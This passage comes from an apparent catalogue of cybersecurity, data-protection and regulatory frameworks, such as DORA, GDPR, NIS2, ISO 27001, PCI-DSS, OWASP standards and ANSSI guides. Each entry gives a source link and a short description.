enhancing the digital operational resilience of its financial sector. Recognizing the pivotal role that information and communication technology (ICT) systems play in the financial industry, DORA aims to safeguard the EU's financial entities from ICT risks, ensuring that they remain resilient in the face of operational disruptions. It was adopted on December 14, 2022, and published in the Official Journal of the European Union on December 27, 2022, marking a significant step toward harmonizing digital operational resilience across the EU. - **DGSSI Directive Nationale de la Sécurité des Systèmes d'Information (DNSSI)** (https://www.dgssi.gov.ma): La Directive Nationale de la Sécurité des Systèmes d'Information (DNSSI) du Maroc est un cadre réglementaire établi par la Direction Générale de la Sécurité des Systèmes d'Information (DGSSI) marocaine. Elle vise à renforcer la cybersécurité des administrations et des infrastructures critiques du pays. La DNSSI définit les exigences et les bonnes pratiques en matière de sécurité informatique, couvrant des aspects tels que la gouvernance, la gestion des risques, la protection des données, et la gestion des incidents. Ce cadre est conçu pour améliorer la résilience cyber du Maroc et aligner ses pratiques sur les normes internationales de sécurité de l'information. - **RIA Estonia E-ITS (Estonia's national cyber security standard) - 2024** (https://www.ria.ee): E-ITS is Estonia's national cybersecurity standard for 2024, providing a comprehensive set of security requirements tailored to Estonian public and private sector organizations. - **ENISA SME Cyber Resilience Maturity Assessment** (https://www.enisa.europa.eu): Based on ENISA's maturity assessment model for small and medium-sized enterprises, it helps SMEs measure their cyber resilience and prioritise improvements. - **Spanish government Esquema Nacional de Seguridad (ENS)** (https://ens.ccn.cni.es/): The Esquema Nacional de Seguridad (ENS) is a framework established by the Spanish government to ensure the security of information and services provided by public administrations and entities that interact with them. Its main goal is to protect the confidentiality, integrity, availability, and authenticity of the information systems. The ENS defines a series of principles, minimum requirements, and security measures that must be followed, aiming to create a more robust and resilient digital infrastructure in Spain, complying with European standards for cybersecurity. - **NCA Essential Cybersecurity Controls (ECC-1:2018)** (https://nca.gov.sa/en/legislation?item=191&slug=controls-list): The ECC (Essential Cybersecurity Controls) framework, developed by the National Cybersecurity Authority (NCA) of Saudi Arabia, serves as a minimum cybersecurity standard aimed at protecting sensitive government data and technology assets within the country. This framework is a result of a thorough examination of various national and international cybersecurity frameworks and standards. It is structured around 114 cybersecurity controls distributed across 29 subdomains and five main domains: Cybersecurity Governance, Cybersecurity Defense, Cybersecurity Resilience, Third-party & Cloud Computing Cybersecurity, and Industrial Control Systems Cybersecurity. These controls are designed to help organizations build robust defenses against cybersecurity risks, ensuring the confidentiality, integrity, and availability of critical government assets and data. While primarily applicable to government organizations, critical infrastructure, and companies handling sensitive data in Saudi Arabia, all organizations are encouraged to adopt the ECC framework to bolster their cybersecurity measures. - **NCA Essential Cybersecurity Controls (ECC-2:2024)** (https://nca.gov.sa): The 2024 edition of the Saudi NCA Essential Cybersecurity Controls, the minimum cybersecurity requirements for government entities, critical infrastructure and their suppliers. - **Australian Government Essential Eight Maturity Model** (https://www.cyber.gov.au/resources-business-and-government/essential-cyber-security/essential-eight): The Australian Signals Directorate (ASD) has developed prioritised mitigation strategies, in the form of the Strategies to Mitigate Cyber Security Incidents, to help organisations protect themselves against various cyber threats. The most effective of these mitigation strategies are the Essential Eight. The Essential Eight Maturity Model, first published in June 2017 and updated regularly, supports the implementation of the Essential Eight. It is based on ASD’s experience in producing cyber threat intelligence, responding to cyber security incidents, conducting penetration testing and assisting organisations to implement the Essential Eight. - **European Union EU Digital Identity Wallet - Architecture and Reference Framework (ARF)** (https://eu-digital-identity-wallet.github.io/eudi-doc-architecture-and-reference-framework/): The EUDI ARF defines the architecture and high-level requirements for the European Digital Identity Wallet, ensuring secure and interoperable digital identity across the EU. - **European Commission European Sustainability Reporting Standards (ESRS)** (https://finance.ec.europa.eu/capital-markets-union-and-financial-markets/company-reporting-and-auditing/company-reporting/corporate-sustainability-reporting_en): The ESRS defines sustainability reporting requirements under the EU Corporate Sustainability Reporting Directive (CSRD), covering environmental, social, and governance disclosures. - **Confédération suisse Federal Act on Data Protection** (https://www.fedlex.admin.ch/eli/cc/2022/491/en): The Federal Act on Data Protection (FADP) from Switzerland is a key legislative framework designed to protect the privacy and fundamental rights of individuals regarding the processing of their personal data. Set to be fully effective from September 2023 with substantial revisions, the updated FADP aligns more closely with global data protection standards, such as the EU's GDPR. It emphasizes the principles of transparency, purpose limitation, and data minimization, alongside introducing stricter consent requirements and enhanced rights for data subjects, such as the right to be forgotten and the right to data portability. The act also imposes rigorous obligations on data controllers and processors, including requirements for data security and for conducting impact assessments for high-risk processing activities. This makes the FADP a crucial component of the regulatory landscape for both domestic and international organizations operating within Switzerland. - **FINMA - Circular 2023/01 - Operational risks and resilience - Banks** (https://www.finma.ch/en/supervision/banks/): FINMA Circular 2023/01 establishes requirements for Swiss banks on operational risk management and resilience, covering ICT risks, cyber risks, critical data management, and business continuity. - **DGA Formulaire d'évaluation de la maturité - niveau fondamental** (https://intuitem.com): The Cyber Maturity Assessment Form – Fundamental Level is a tool developed by the French Directorate General of Armaments (DGA) to evaluate and enhance the cybersecurity practices of defense industry stakeholders. This framework comprises 21 basic requirements designed to establish a minimum security standard, enabling organizations to counter fundamental cyber threats effectively. It serves as an initial step in a progressive approach to improve cybersecurity maturity within the defense industrial and technological base (BITD). The DGA anticipates that adherence to this fundamental level will gradually become a contractual obligation in its engagements with industrial partners, thereby promoting a consistent and robust cybersecurity posture across the sector.  - **Framework Nazionale CyberSecurity v2 (FNCS Italia)** (https://www.cybersecurityframework.it): Italy's national cybersecurity framework version 2, providing a comprehensive set of security guidelines and controls adapted from NIST CSF for the Italian context. - **Framework Nazionale per la Cybersecurity e la Data Protection (ACN Italia)** (https://www.acn.gov.it): Italy's national framework for cybersecurity and data protection by ACN, integrating cybersecurity controls with GDPR data protection requirements. - **Federal Trade Commission FTC's Standards for Safeguarding Customer Information** (https://www.ftc.gov/business-guidance/resources/ftc-safeguards-rule-what-your-business-needs-know): The **Federal Trade Commission (FTC) Standards for Safeguarding Customer Information**, part of the Gramm-Leach-Bliley Act (GLBA), set requirements for financial institutions to protect sensitive customer data. These standards mandate the development, implementation, and maintenance of a comprehensive information security program tailored to the institution's size, complexity, and data handling practices. Key elements include conducting risk assessments, implementing safeguards to control identified risks, testing and monitoring those safeguards, and ensuring service providers maintain adequate security measures. Compliance with these standards helps organizations safeguard customer information, mitigate cybersecurity risks, and avoid legal and reputational repercussions. - **European Union General Data Protection Regulation (GDPR)** (https://gdpr.eu/): The General Data Protection Regulation (GDPR) is a comprehensive data protection law that came into effect in the European Union (EU) on May 25, 2018. Designed to strengthen privacy rights and data protection for individuals within the EU, the GDPR imposes strict guidelines on how organizations collect, store, process, and manage personal data. It introduces principles such as data minimization, where only necessary data can be processed, and consent, requiring clear and affirmative agreement from individuals before their data is used. The regulation applies to all organizations operating within the EU and those outside the EU that offer goods or services to, or monitor the behavior of, EU residents. Non-compliance can result in hefty fines, up to 4% of annual global turnover or €20 million, whichever is greater. The GDPR has set a global standard, influencing many countries to revise their own data protection laws to align with its stringent requirements, thereby reshaping the landscape of global data privacy. - **Google Secure AI Framework (SAIF)** (https://safety.google/cybersecurity-advancements/saif/): Google's Secure AI Framework (SAIF) provides a conceptual framework for securing AI systems. It offers guidance on managing AI-specific risks including model integrity, data poisoning, and adversarial attacks. - **GSA FedRAMP rev5** (https://www.fedramp.gov): The Federal Risk and Authorization Management Program (FedRAMP) is a government-wide program that promotes the adoption of secure cloud services across the Federal Government by providing a standardized approach to security assessment, authorization, and continuous monitoring for cloud products and services. Managed by the General Services Administration (GSA), FedRAMP simplifies the process for federal agencies to use commercially available cloud solutions by ensuring they meet rigorous security requirements. This framework helps agencies save time and cost in cloud deployments, enhances transparency between government and cloud service providers, and fosters trust in the security of cloud technologies. - **CNIL Guide de la sécurité des données personnelles** (https://www.cnil.fr/fr/guide-de-la-securite-des-donnees-personnelles): Pour aider les professionnels dans la mise en conformité à la loi Informatique et Libertés et au règlement général sur la protection des données, ce guide rappelle les précautions élémentaires qui devraient être mises en œuvre de façon systématique. - **ANSSI Guide d’hygiène informatique** (https://cyber.gouv.fr/publications/guide-dhygiene-informatique): Le guide d'hygiène informatique de l'ANSSI, publié le 23 janvier 2017, constitue une ressource essentielle pour les responsables de la sécurité des systèmes d'information. Il propose 42 mesures clés destinées à renforcer la protection des données et le fonctionnement sécurisé des systèmes informatiques. En mettant l'accent sur la sensibilisation et la formation en cybersécurité, ce guide vise à établir un socle de pratiques fondamentales, allant de la gestion des risques liés à l'infogérance à la mise en œuvre d'un contrôle rigoureux des accès. Cette initiative reflète l'engagement de l'ANSSI à promouvoir une culture de la sécurité informatique adaptée aux enjeux actuels. - **ANSSI Guides des mécanismes cryptographiques** (https://cyber.gouv.fr/publications/mecanismes-cryptographiques): ANSSI's cryptographic mechanisms guide provides recommendations on selecting and implementing cryptographic algorithms, key sizes, and protocols for information security. - **HHS/NIST Health Insurance Portability and Accountability Act (HIPAA)** (https://www.hhs.gov/hipaa/index.html): The Health Insurance Portability and Accountability Act (HIPAA), enacted in 1996, is a significant regulatory framework designed to safeguard medical information in the United States. It sets the standard for protecting sensitive patient data, requiring healthcare providers, plans, and clearinghouses to implement physical, network, and process security measures. HIPAA encompasses a range of rules, including the Privacy Rule, which controls the use and disclosure of Protected Health Information (PHI), and the Security Rule, which mandates the secure handling of electronic PHI. Compliance with HIPAA is essential for healthcare entities to ensure the confidentiality, integrity, and availability of patient data, providing a foundation for trust in the healthcare system's handling of personal health information. - **SZTFH (Hungary) Hungarian NIS2 audit requirements (1/2025. SZTFH rendelet)** (https://njt.hu): The 2,148 elementary requirements used for Hungarian NIS2 audits under SZTFH decree 1/2025, structured by the protective measures of MK decree 7/2024. - **Prime Minister's Cabinet Office (Hungary) Hungarian NIS2 protective measures catalogue (7/2024. MK rendelet, annex 2)** (https://njt.hu): The catalogue of protective measures from annex 2 of Hungarian decree 7/2024 (MK), defining the security controls required of NIS2 entities in Hungary. - **Prime Minister's Cabinet Office (Hungary) Hungarian NIS2 threat catalogue (7/2024. MK rendelet, annex 3)** (https://njt.hu): The threat catalogue from annex 3 of Hungarian decree 7/2024 (MK), the NIS2 implementing rules, for use in risk assessments. - **IEC 62443 series** (https://www.iec.ch/blog/understanding-iec-62443): The IEC 62443 series defines cybersecurity requirements for industrial automation and control systems (IACS), covering asset owners, service providers, and product suppliers across the system lifecycle. - **ANSSI IGI 1300 / II 901 - Exigences pour la mise en œuvre d'un SI classifié** (https://cyber.gouv.fr): French classified information systems requirements (IGI 1300 / II 901), defining security controls for implementing and operating systems handling classified data. - **Government of India India's Digital Personal Data Protection Act (DPDPA) - 2023** (https://www.meity.gov.in/data-protection-framework): India's DPDPA establishes a comprehensive data protection framework covering consent management, data principal rights, obligations of data fiduciaries, and cross-border data transfer restrictions. - **US Department of state International Traffic in Arms Regulations (ITAR)** (https://www.pmddtc.state.gov/ddtc_public/ddtc_public?id=ddtc_kb_article_page&sys_id=24d528fddbfc930044f9ff621f961987): The **International Traffic in Arms Regulations (ITAR)** is a U.S. regulatory framework that governs the export, import, and transfer of defense-related articles, services, and technical data. Administered by the U.S. Department of State, ITAR is designed to control access to sensitive military technologies and ensure that they are not shared with foreign entities or individuals without proper authorization. Organizations subject to ITAR must implement stringent compliance measures, including access controls, data security protocols, and staff training, to prevent unauthorized disclosure. ITAR compliance is critical for companies involved in defense and aerospace industries, enabling them to operate within legal boundaries while protecting national security interests. - **ISO 22301:2019 - Business Continuity Management Systems** (https://www.iso.org/standard/75106.html): ISO 22301 specifies requirements for a business continuity management system (BCMS), enabling organizations to plan for, respond to, and recover from disruptive incidents. - **ISO/IEC ISO 27701:2025 - Privacy Information Management System** (https://www.iso.org/standard/27701): Outline of ISO/IEC 27701:2025, including Annex A. The 2025 edition makes the privacy information management system (PIMS) a standalone standard, covering requirements for PII controllers and processors. - **ISO/IEC ISO 42001:2023 - Artificial Intelligence Management System** (https://www.iso.org/standard/81230.html): ISO 42001 specifies requirements for establishing, implementing, and maintaining an AI management system (AIMS), providing a structured approach to responsible AI development and deployment. - **ISO/IEC 27001:2013** (https://www.iso.org/fr/standard/27001): ISO 27001:2013 was an international standard for information security management systems (ISMS), published by the International Organization for Standardization (ISO). It provided a framework for organizations to establish, implement, maintain, and continually improve their information security management. The standard outlined requirements for assessing and treating information security risks, implementing security controls, and monitoring the ISMS's performance. However, it's important to note that ISO 27001:2013 is now obsolete, having been replaced by ISO 27001:2022, which includes updates to address modern cybersecurity challenges and align with other ISO management system standards. - **ISO/IEC 27001:2022** (https://www.iso.org/standard/27001): ISO/IEC 27001 is the world's best-known standard for information security management systems (ISMS). It defines requirements an ISMS must meet. The ISO/IEC 27001 standard provides companies of any size and from all sectors of activity with guidance for establishing, implementing, maintaining and continually improving an information security management system. Conformity with ISO/IEC 27001 means that an organization or business has put in place a system to manage risks related to the security of data owned or handled by the company, and that this system respects all the best practices and principles enshrined in this International Standard. - **BSI IT-Grundschutz-Kompendium** (https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Standards-und-Zertifizierung/IT-Grundschutz/it-grundschutz_node.html): The IT-Grundschutz-Kompendium is a comprehensive framework developed by the German Federal Office for Information Security (BSI) to help organizations implement robust information security measures. It provides detailed guidelines and best practices for protecting IT systems, covering various aspects such as risk management, security policies, and technical controls. The compendium aims to make cybersecurity accessible and manageable, offering modular and scalable solutions suitable for organizations of all sizes and sectors. Its systematic approach ensures that security measures are both effective and aligned with international standards. - **Axelos ITIL 4 Management Practices** (https://www.axelos.com/certifications/itil-service-management): ITIL 4 provides a comprehensive framework for IT service management, covering 34 management practices across general management, service management, and technical management domains. - **Government of Canada ITSP.10.171 - Protecting specified information (Canada)** (https://www.cyber.gc.ca/en/guidance/protecting-specified-information-non-government-canada-systems): Canadian government guidance for protecting specified information in non-Government of Canada systems and organizations, establishing security requirements for handling sensitive government data. - **KISA Korea ISA ISMS-P** (https://intuitem.com): The Korea Information Security Management System and Personal Information Protection Framework (ISMS-P) is a comprehensive standard for managing information security and protecting personal data in South Korea. It is mandated by the Korea Internet & Security Agency (KISA) and combines requirements for information security (ISMS) and personal information protection (PMS). Organizations subject to this framework must implement robust technical and administrative controls, ensuring compliance with domestic privacy laws such as the Personal Information Protection Act (PIPA). ISMS-P certification is essential for businesses handling significant volumes of personal data or providing critical IT services, showcasing their commitment to data security and regulatory compliance. - **Government of Lithuania Lithuanian NIS2 Cybersecurity Law (Kibernetinio saugumo įstatymas)** (https://www.e-tar.lt): Lithuania's national transposition of the NIS2 directive into cybersecurity law, establishing security obligations for essential and important entities operating in Lithuania. - **Gouvernement du Maroc Loi 05-20 relative à la cybersécurité (Maroc)** (https://www.dgssi.gov.ma): Morocco's Law 05-20 on cybersecurity establishes the national cybersecurity governance framework, defining obligations for critical infrastructure operators and information system security requirements. - **Royaume du Maroc Loi n° 09-08 relative à la protection des personnes physiques (Maroc)** (https://www.cndp.ma): Morocco's Law 09-08 governs the protection of individuals with regard to the processing of personal data, overseen by the CNDP. - **Microsoft Cloud Security Benchmark v1** (https://learn.microsoft.com/en-us/security/benchmark/azure/): Microsoft's Cloud Security Benchmark provides security best practices and recommendations for Azure and multi-cloud environments, mapping controls to common compliance frameworks. - **Mindeststandard-des-BSI-zur-Nutzung-externer-Cloud-Dienste** (https://intuitem.com): The Minimum Standard of the German Federal Office for Information Security (BSI) for the Use of External Cloud Services establishes mandatory security requirements for federal authorities using external cloud services. It covers the entire lifecycle of cloud usage—from planning and procurement to operation and termination—emphasizing the need for risk analysis and compliance with the BSI Cloud Computing Compliance Criteria Catalog (C5). Additionally, it outlines specific requirements for shared use of external cloud services without direct contractual relationships. This standard aims to ensure a uniform level of security within the federal administration and promote the secure integration of external cloud services. - **Misure minime di sicurezza ICT per le pubbliche amministrazioni (AGID Italia)** (https://www.agid.gov.it): Italy's minimum ICT security measures for public administrations issued by AGID, establishing mandatory baseline security controls for Italian government organizations. - **MITRE ATT&CK v19.1 - Threats and Mitigations Catalog** (https://attack.mitre.org): MITRE ATT&CK is a globally-recognized knowledge base of adversary tactics, techniques, and procedures (TTPs) based on real-world observations, used for threat modeling and security assessment. - **MITRE D3FEND - Reference Controls** (https://d3fend.mitre.org): MITRE D3FEND is a knowledge graph of cybersecurity countermeasures, providing a catalog of defensive techniques mapped to the threats they address, complementing ATT&CK. - **OWASP Mobile Application Security Verification Standard (MASVS)** (https://mas.owasp.org/MASVS/): The OWASP MASVS (Mobile Application Security Verification Standard) is the industry standard for mobile app security. It can be used by mobile software architects and developers who want to develop secure mobile applications and by security testers to ensure completeness and consistency. It's the foundation of the OWASP MASTG, where all the tests are associated with MASVS's controls. - **NCA National Cybersecurity Controls for Non-CNI Private Sector Entities (NCNICC-1:2025)** (https://nca.gov.sa): The Saudi National Cybersecurity Authority's controls for private-sector organisations outside critical national infrastructure, setting a baseline of cybersecurity requirements. - **European Union Network and Information Security (NIS2)** (https://cyber.gouv.fr/la-directive-nis-2): The NIS2 Directive, an evolution of the European Union's pioneering Network and Information Systems (NIS) Directive, represents a significant step forward in strengthening cybersecurity across the EU. Enacted to address the growing threats in the digital space, NIS2 broadens the scope of its predecessor by covering a wider range of sectors deemed critical, including energy, transport, banking, and digital infrastructure, among others. It mandates stricter security requirements, incident reporting protocols, and enhanced supervisory measures, including substantial fines for non-compliance. NIS2's primary goal is to bolster the overall resilience and security of network and information systems within the EU, ensuring a unified and high level of cybersecurity preparedness, response, and collaboration among Member States, thereby protecting the internal market and the citizens of the EU from cyber threats. - **GCSB New Zealand New Zealand Information Security Manual (NZISM)** (https://www.nzism.gcsb.govt.nz): New Zealand's official information security manual providing protective security requirements and controls for government agencies and organizations handling classified information. - **Gouvernement Français NIS-1 transposition FR** (https://www.legifrance.gouv.fr): The French transposition of the NIS-1 directive establishes cybersecurity obligations for operators of essential services and digital service providers in France. - **EU NIS2 technical and methodological requirements 2024/2690** (https://intuitem.com): The NIS2 Technical and Methodological Requirements (EU Regulation 2024/2690), adopted under the NIS2 Directive, set forth detailed cybersecurity measures for essential and important entities within the EU. These requirements cover areas such as risk management, incident detection, response and recovery, supply chain security, and encryption standards. They provide clear criteria for identifying and reporting significant incidents, ensuring a uniform approach to cybersecurity across critical sectors like energy, healthcare, and finance. The regulation aims to enhance resilience, foster collaboration among member states, and safeguard the stability of essential services in an increasingly interconnected digital landscape. - **NIST 800-82 (OT) - Appendix** (https://csrc.nist.gov/pubs/sp/800/82/r3/final): NIST SP 800-82 provides guidance for securing operational technology (OT) and industrial control systems (ICS), covering SCADA, DCS, and PLC security in critical infrastructure environments. - **NIST Privacy Framework** (https://www.nist.gov/privacy-framework): The NIST Privacy Framework is a voluntary tool developed to help organizations identify and manage privacy risks and enhance individuals' privacy protections. It is designed to be compatible with various privacy laws and regulations and aims to facilitate ethical decision-making regarding data privacy. This framework is structured similarly to the NIST Cybersecurity Framework, consisting of three main parts: Core, Profiles, and Implementation Tiers, which assist organizations in developing and refining their privacy management programs. Through its adaptable approach, the NIST Privacy Framework supports organizations across different sectors and jurisdictions in achieving better compliance and privacy outcomes. - **NOREA - DORA in Control Framework v3.0** (https://www.norea.nl): NOREA's DORA in Control Framework translates the EU Digital Operational Resilience Act into a practical control framework for financial institutions, covering ICT risk management, incident reporting, and resilience testing. - **NEW YORK STATE NYDFS 500 / NYCRR** (https://www.dfs.ny.gov/industry_guidance/cybersecurity): The New York Department of Financial Services (NYDFS) Cybersecurity Regulation, officially designated as 23 NYCRR Part 500, is a pioneering set of regulations established to fortify the cybersecurity posture of financial services companies operating within New York State. Enacted on March 1, 2017, and subsequently amended, these regulations set forth stringent requirements designed to protect financial institutions' information systems and nonpublic information from cyber threats​​. The regulation encompasses a broad range of cybersecurity requirements, including but not limited to the establishment of a comprehensive cybersecurity program, the designation of a Chief Information Security Officer (CISO), penetration testing and vulnerability assessments, the management of third-party service providers, and the development of an incident response plan​. - **NCA Operational Technology Cybersecurity Controls** (https://www.nca.gov.sa): The Saudi National Cybersecurity Authority (NCA) has established guidelines for Operational Technology (OT) cybersecurity controls to protect critical infrastructure and industrial systems in Saudi Arabia. These controls focus on securing industrial control systems, SCADA networks, and other OT environments from cyber threats. The NCA's framework emphasizes risk assessment, access control, network segmentation, continuous monitoring, and incident response specifically tailored for OT environments. By implementing these controls, organizations aim to enhance the resilience of their industrial operations against cyberattacks and ensure the continuity of critical services. - **OWASP Application Security Verification Standard (ASVS) 5** (https://owasp.org/www-project-application-security-verification-standard/): Version 5 of OWASP's ASVS provides updated security requirements for designing, developing, and testing modern web applications, with enhanced coverage of APIs and cloud-native architectures. - **OWASP MAS Threat Modelling Guide - Threat Catalog** (https://mas.owasp.org): The OWASP Mobile Application Security (MAS) Threat Modelling Guide provides a structured catalog of threats specific to mobile applications, supporting systematic threat analysis. - **OWASP Software Assurance Maturity Model (SAMM) v2.2** (https://owaspsamm.org): OWASP SAMM measures and improves an organisation's software security posture across governance, design, implementation, verification and operations, with maturity levels for each practice. - **OWASP Top 10 for Agentic Applications 2026** (https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/): The ten most critical security risks for autonomous, tool-using AI agents, from goal hijacking and tool misuse to identity abuse and cascading failures, published by the OWASP GenAI Security Project. - **OWASP Top 10 Web - Threat Catalog** (https://owasp.org/www-project-top-ten/): The OWASP Top 10 is the standard awareness document for web application security, representing a broad consensus about the most critical security risks to web applications. - **OWASP's checklist for LLM governance and security** (https://genai.owasp.org/resource/llm-applications-cybersecurity-and-governance-checklist-english/): The OWASP Top 10 for LLM Applications Cybersecurity and Governance Checklist is for leaders across executive, tech, cybersecurity, privacy, compliance, and legal areas, DevSecOps, MLSecOps, and Cybersecurity teams and defenders. It is intended for people who are striving to stay ahead in the fast-moving AI world, aiming not just to leverage AI for corporate success but also to protect against the risks of hasty or insecure AI implementations. These leaders and teams must create tactics to grab opportunities, combat challenges, and mitigate risks. - **European Commission PART-IS** (https://www.easa.europa.eu/en/document-library/regulations/commission-implementing-regulation-eu-2023203): Part-IS (EU Regulation 2023/203) introduces requirements for identifying and managing information security risks that could affect information and communication technology systems and data used for civil aviation purposes. It sets requirements for detecting information security events, identifying those that are considered information security incidents, and responding to and recovering from those information security incidents to a level commensurate with their impact on aviation safety. - **PCI Security Standards Council Payment Card Industry Data Security Standard** (https://www.pcisecuritystandards.org): The Payment Card Industry Data Security Standard (PCI-DSS) is a globally recognized security standard designed to ensure that all entities that process, store, or transmit credit card information maintain a secure environment, thereby reducing credit card fraud. Established by major credit card brands, it sets forth a comprehensive set of requirements including network security, data protection measures, vulnerability management programs, access control measures, and monitoring and testing networks. Compliance with PCI-DSS is mandatory for all such entities and is aimed at protecting sensitive cardholder data throughout the transaction process. The standard not only helps in building trust with customers but also minimizes the risk of data breaches and non-compliance penalties. With its regular updates, PCI-DSS adapts to emerging threats and technologies, ensuring that the payment ecosystem remains secure against evolving cybersecurity challenges. - **SDAIA Personal Data Protection Law (PDPL) - Saudi Arabia** (https://www.dataguidance.com/jurisdictions/saudi-arabia): The Saudi Personal Data Protection Law (PDPL), issued by SDAIA, governs the collection, processing, and protection of personal data in the Kingdom of Saudi Arabia. - **Cyberspace Administration of China Personal Information Protection Compliance Audit Measures and Guideline (CAC)** (https://www.cac.gov.cn/2025-02/14/c_1741233507681519.htm): The CAC measures and guideline for personal information protection compliance audits, in force since May 2025. Processors handling the data of more than 10 million people must be audited at least every two years. - **NPC (China) Personal Information Protection Law (PIPL)** (http://www.npc.gov.cn/npc/c30834/202108/a8c4e3672c74491a80b53a172bb753fe.shtml): China's Personal Information Protection Law (2021), the country's comprehensive data protection law governing how personal information is processed, transferred abroad and protected. - **ANS PGSSI-S (Politique Générale de Sécurité des SI de Santé)** (https://esante.gouv.fr/produits-services/pgssi-s): France's general security policy for health information systems, establishing security requirements for healthcare organizations handling patient data. - **Plumber CI/CD Security Checks** (https://github.com/getplumber/plumber): The security checks run by Plumber, the open-source CI/CD security scanner for GitLab CI and GitHub Actions. Each requirement maps to a Plumber control, and scan results can be imported into technical postures. - **Points de contrôle Active Directory (AD) - ANSSI** (https://cyber.gouv.fr/publications/points-de-controle-active-directory): ANSSI's Active Directory security checklist provides control points for assessing and hardening AD environments, covering authentication, group policies, privileged accounts, and domain trust configurations. - **NIST Post-Quantum Cryptography (PQC) Migration Roadmap** (https://www.nist.gov/pqcrypto): The PQC Migration Roadmap provides guidance for organizations transitioning from classical to quantum-resistant cryptographic algorithms, addressing timelines, risk assessment, and implementation strategies. - **ANSSI Prestataires de détection des incidents de sécurité (PDIS)** (https://cyber.gouv.fr/prestataires-de-detection-des-incidents-de-securite-pdis): ANSSI's PDIS certification framework defines requirements for security incident detection service providers, covering organizational, technical, and operational capabilities for SOC and SIEM operations. - **Agence du Numérique en Santé Programme CaRE - Domaine 2 (Continuité et reprise d'activité)** (https://esante.gouv.fr): Domain 2 of the French CaRE programme (Cybersecurity Acceleration and Resilience of Establishments) covers business continuity, disaster recovery, and backup audit requirements for health organizations. - **Agence du Numérique en Santé Programme HospiConnect - HOP'EN2** (https://esante.gouv.fr): The HospiConnect HOP'EN2 programme defines audit requirements published by France's Agence du Numérique en Santé for securing and simplifying access to hospital information systems and external digital services. - **Australian Government Protective Security Policy Framework** (https://www.protectivesecurity.gov.au): The Protective Security Policy Framework (PSPF) is an Australian Government initiative designed to assist federal government agencies in protecting their people, information, and assets, both at home and overseas. Established to provide a comprehensive set of security guidelines and principles, the PSPF ensures that government operations are conducted securely and with integrity. It encompasses various security measures, including governance, information security, personnel security, and physical security. The framework mandates agencies to implement specific security protocols to safeguard sensitive information and resources against potential threats and vulnerabilities. By standardizing security practices across all government entities, the PSPF aims to foster a resilient and trustworthy government sector, ensuring the continuous and effective delivery of government services to the Australian public and protecting national interests. - **Prudential Standard CPS 230 - Operational Risk Management (APRA)** (https://www.apra.gov.au/prudential-standard-cps-230-operational-risk-management): APRA's CPS 230 sets requirements for operational risk management in Australian regulated financial institutions, covering business continuity, service provider management, and tolerance for disruptions. - **Prudential Standard CPS 234 - Information Security (APRA)** (https://www.apra.gov.au/prudential-standard-cps-234-information-security): APRA's CPS 234 requires Australian regulated financial entities to maintain information security capabilities commensurate with the threats to their information assets, including those managed by third parties. - **Gouvernement Français PSSI État** (https://www.ssi.gouv.fr): The PSSI État (Politique de Sécurité des Systèmes d'Information de l'État) defines the information security policy for French government agencies, establishing mandatory security rules and governance principles. - **Gouvernement Français PSSI-MCAS (Ministères chargés des affaires sociales)** (https://solidarites-sante.gouv.fr): Information security policy for French ministries in charge of social affairs, defining security rules and governance for social sector government information systems. - **ANSSI Bénin PSSIE du Bénin** (https://www.anssi.bj): Benin's information systems security policy for government entities, establishing security requirements and governance for state information systems. - **Reserve Bank of India RBI Master Direction 2023 - India** (https://www.rbi.org.in): The Reserve Bank of India's Master Direction on IT Governance and Cybersecurity establishes information security requirements for Indian financial institutions, covering IT risk management and cyber resilience. - **ANSSI Recommandations de sécurité pour un système d’IA générative** (https://cyber.gouv.fr/publications/recommandations-de-securite-pour-un-systeme-dia-generative): Le guide de recommandations de sécurité pour un système d’IA générative de l’ANSSI s’intéresse à la sécurisation d’une architecture de système d’IA générative. Il vise à sensibiliser les administrations et entreprises aux risques liés à l’IA générative ainsi qu’à promouvoir les bonnes pratiques à mettre en œuvre depuis la phase de conception et d’entrainement d’un modèle d’IA jusqu’à la phase de déploiement et d’utilisation en production. - **ANSSI Recommandations de sécurité relatives à IPsec** (https://cyber.gouv.fr/publications/recommandations-de-securite-relatives-ipsec): ANSSI security recommendations for IPsec implementation to protect network traffic, covering protocol configuration, cryptographic parameters, and deployment architectures. - **ANSSI Recommandations pour les architectures des systèmes d’information sensibles ou à diffusion restreinte** (https://cyber.gouv.fr/publications/recommandations-pour-les-architectures-des-si-sensibles-ou-dr): L'instruction interministérielle n° 901/SGDSN/ANSSI (II 901) du 28 janvier 2015 définit les objectifs et les mesures de sécurité minimales relatifs à la protection des informations sensibles, notamment celles relevant du niveau Diffusion Restreinte (DR). - **ANSSI Recommandations pour un usage sécurisé d'(Open)SSH** (https://cyber.gouv.fr/publications/recommandations-pour-un-usage-securise-dopenssh): ANSSI recommendations for secure SSH usage, covering server and client configuration, key management, authentication methods, and network architecture best practices. - **Recommandations relatives à l'administration sécurisée des SI (ANSSI)** (https://cyber.gouv.fr/publications/recommandations-relatives-ladministration-securisee-des-systemes-dinformation): ANSSI guidelines for secure administration of information systems, covering best practices for privileged access management, administration network architecture, and security hardening of management interfaces. - **ANSSI Recommandations relatives à l'interconnexion d'un SI à internet** (https://cyber.gouv.fr/publications/recommandations-relatives-linterconnexion-dun-systeme-dinformation-internet): ANSSI recommendations for securely connecting information systems to the internet, covering network segmentation, filtering, monitoring, and defense-in-depth architectures. - **ANSSI Recommandations sur la sécurisation des systèmes de contrôle d'accès physique et de vidéoprotection** (https://cyber.gouv.fr): ANSSI recommendations for securing physical access control systems and video surveillance, covering network architecture, authentication, and data protection for physical security systems. - **Gouvernement Français Règles OIV - Secteur « Activités civiles de l'Etat » (2019)** (https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000038565011): The security rules that Operators of Vital Importance (OIV) in the « Activités civiles de l'Etat » sector must apply to their vital information systems, set by the 2019 order taken under France's Military Programming Law (LPM). - **Gouvernement Français Règles OIV - Secteur « Transport aérien » (2016)** (https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000038565011): French LPM security rules for Operators of Vital Importance (OIV) in the air transport sub-sector. - **ANSSI Référentiel Cyber France (ReCyF)** (https://cyber.gouv.fr): ReCyF is ANSSI's French cybersecurity reference framework, providing a structured baseline of security measures aligned with national and NIS2 requirements. - **Haute Autorité de Santé Référentiel de certification des établissements de santé pour la qualité des soins (HAS)** (https://www.has-sante.fr): The French High Authority for Health (HAS) certification framework for healthcare establishments, assessing the quality and safety of care. - **Royaume du Maroc Référentiel des exigences de qualification des prestataires de services cloud (Maroc)** 